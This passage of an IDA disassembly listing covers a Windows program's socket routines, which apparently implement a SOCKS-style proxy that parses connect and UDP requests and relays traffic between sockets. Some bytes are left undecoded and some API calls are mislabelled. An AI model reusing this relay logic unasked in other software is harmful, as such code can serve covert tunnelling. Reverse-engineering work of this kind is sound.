		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42B97F
		dec	eax
		jz	short loc_42B92A
		dec	eax
		jnz	loc_42BA72
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B92A:				; CODE XREF: sub_42B8E0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_401758
		test	al, al
		jz	loc_42BA72
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42B99B
; ---------------------------------------------------------------------------


loc_42B97F:				; CODE XREF: sub_42B8E0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42B99B:				; CODE XREF: sub_42B8E0+9Dj
		mov	ebx, dword_511C3C
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42BA72
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42BA72
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_511C68
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42BA72


loc_42B9F9:				; CODE XREF: sub_42B8E0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42BA56
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42B9F9


loc_42BA56:				; CODE XREF: sub_42B8E0+16Fj
		mov	esi, dword_511C9C
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42BA72:				; CODE XREF: sub_42B8E0+35j
					; sub_42B8E0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42B8E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB00	proc near		; CODE XREF: sub_42C5C0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42BDBA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42BED6
		mov	edi, dword_511C94
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42BF63
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71688005h, 89FFF883h
		dd 0F1C2444h, 22184h, 0A41D8B00h, 6A00511Ch, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44730068h, 8BE85600h
		dd 90716886h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42BDBA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42BCCB:				; CODE XREF: sub_42BB00+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42BCEF
		test	al, al
		jz	short loc_42BCEB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42BCEF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42BCCB


loc_42BCEB:				; CODE XREF: sub_42BB00+1D5j
		xor	eax, eax
		jmp	short loc_42BCF4
; ---------------------------------------------------------------------------


loc_42BCEF:				; CODE XREF: sub_42BB00+1D1j
					; sub_42BB00+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BCF4:				; CODE XREF: sub_42BB00+1EDj
		test	eax, eax
		jz	short loc_42BD51
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017EE
		lea	edi, [esp+83Ch+var_100]


loc_42BD0E:				; CODE XREF: sub_42BB00+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42BD32
		test	cl, cl
		jz	short loc_42BD2E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42BD32
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42BD0E


loc_42BD2E:				; CODE XREF: sub_42BB00+218j
		xor	eax, eax
		jmp	short loc_42BD37
; ---------------------------------------------------------------------------


loc_42BD32:				; CODE XREF: sub_42BB00+214j
					; sub_42BB00+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42BD37:				; CODE XREF: sub_42BB00+230j
		test	eax, eax
		jz	short loc_42BD51
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BD51:				; CODE XREF: sub_42BB00+1F6j
					; sub_42BB00+239j
		mov	edi, dword_511CA0
		push	0
		push	2
		push	offset dword_4472FC
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42BDBA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42BE21
		sub	eax, 2
		jz	short loc_42BDC9
		dec	eax


loc_42BDB8:				; CODE XREF: sub_42BB00+31Fj
		jnz	short loc_42BE30


loc_42BDBA:				; CODE XREF: sub_42BB00+32j
					; sub_42BB00+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BDC9:				; CODE XREF: sub_42BB00+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_401758
		test	al, al
		jmp	short loc_42BDB8
; ---------------------------------------------------------------------------


loc_42BE21:				; CODE XREF: sub_42BB00+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42BE30:				; CODE XREF: sub_42BB00:loc_42BDB8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42BDBA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42BDBA
		push	eax
		push	4
		push	offset dword_4472F4
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020E0
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42BED6:				; CODE XREF: sub_42BB00+47j
		cmp	ax, 2
		jnz	loc_42BF63
		mov	ebx, dword_511C94


loc_42BEE6:				; CODE XREF: sub_42BB00+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C30
		test	edi, edi
		jz	short loc_42BF63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42BF63
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_438256
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42BEE6


loc_42BF63:				; CODE XREF: sub_42BB00+67j
					; sub_42BB00+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42BB00	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C0A0	proc near		; CODE XREF: sub_401F37j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42C0B4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0B4:				; CODE XREF: sub_42C0A0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42C0C6
		dec	eax
		jz	short loc_42C0E8
		mov	word ptr [esi+6], 1


loc_42C0C6:				; CODE XREF: sub_42C0A0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42C0D0:				; CODE XREF: sub_42C0A0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42C0F4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C0E8:				; CODE XREF: sub_42C0A0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42C0D0
; ---------------------------------------------------------------------------


loc_42C0F4:				; CODE XREF: sub_42C0A0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42C139
		mov	eax, [esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C139:				; CODE XREF: sub_42C0A0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42C161
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42C161
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42C161:				; CODE XREF: sub_42C0A0+9Ej
					; sub_42C0A0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42C0A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1B0	proc near		; CODE XREF: sub_401DD4j

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42C1B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42C24A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42C231
		mov	ebx, dword_511C98
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42C216


loc_42C202:				; CODE XREF: sub_42C1B0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42C202


loc_42C216:				; CODE XREF: sub_42C1B0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42C26A


loc_42C231:				; CODE XREF: sub_42C1B0+39j
					; sub_42C1B0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42C244:				; DATA XREF: ___:00442FACo
		mov	eax, offset loc_42C231
		retn
; ---------------------------------------------------------------------------


loc_42C24A:				; CODE XREF: sub_42C1B0+2Bj
		cmp	ax, 2
		jnz	short loc_42C231
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42C231


loc_42C26A:				; CODE XREF: sub_42C1B0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C1B0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C2C0:				; CODE XREF: ___:00401F96j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43CEB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42C309:				; DATA XREF: ___:loc_42C321o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42C321:				; DATA XREF: ___:0044300Co
		mov	eax, offset loc_42C309
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C350	proc near		; CODE XREF: sub_401C2Bj

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42C350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42C3C7


loc_42C387:				; CODE XREF: ___:0042C456j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42C3C7:				; CODE XREF: sub_42C350+35j
		push	42h
		call	sub_437AEA
sub_42C350	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42C3EC
		push	1
		mov	ecx, eax
		call	sub_4014F1
		jmp	short loc_42C3EE
; ---------------------------------------------------------------------------


loc_42C3EC:				; CODE XREF: ___:0042C3DFj
		xor	eax, eax


loc_42C3EE:				; CODE XREF: ___:0042C3EAj
		mov	dword_5103A4, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_5103A4
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40202C
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40202C
		mov	eax, dword_5103A4
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F37
		test	al, al
		jz	loc_42C387


loc_42C45C:				; CODE XREF: ___:0042C46Dj
		mov	eax, dword_5103A4
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DD4
		jmp	short loc_42C45C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C4C0	proc near		; CODE XREF: sub_4014F1j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42C4E2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43F190
		call	sub_4014B5


loc_42C4E2:				; CODE XREF: sub_42C4C0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43F18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42C4C0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C530	proc near		; CODE XREF: sub_4014B5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C530
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_40142E
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C5C0	proc near		; CODE XREF: sub_4020EFj

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42C5C0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42C5D0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43CF28
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43F1A0
		call	sub_4015E1
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C640	proc near		; CODE XREF: ___:00401398j sub_401F5Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42C658
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C658:				; CODE XREF: sub_42C640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C670	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_4017A8
sub_42C670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42C690:				; CODE XREF: ___:loc_40134Dj
		mov	eax, 1000h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42C71C
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C6BC:				; CODE XREF: ___:0042C71Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+18h]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42C71C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C71C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42C6BC


loc_42C71C:				; CODE XREF: ___:0042C6AEj
					; ___:0042C6E5j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42C738
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42C738:				; CODE XREF: ___:0042C72Fj
		add	esp, 1000h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C770	proc near		; CODE XREF: sub_40166Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42C770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_444D5C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F1B0
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42C770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C7E0	proc near		; CODE XREF: ___:004013A7j sub_401B36j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42C7F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42C7F8:				; CODE XREF: sub_42C7E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42C7E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42C810	proc near		; CODE XREF: sub_401217j
		jmp	sub_4017A8
sub_42C810	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42C830	proc near		; CODE XREF: sub_401537j

var_50		= byte ptr -50h
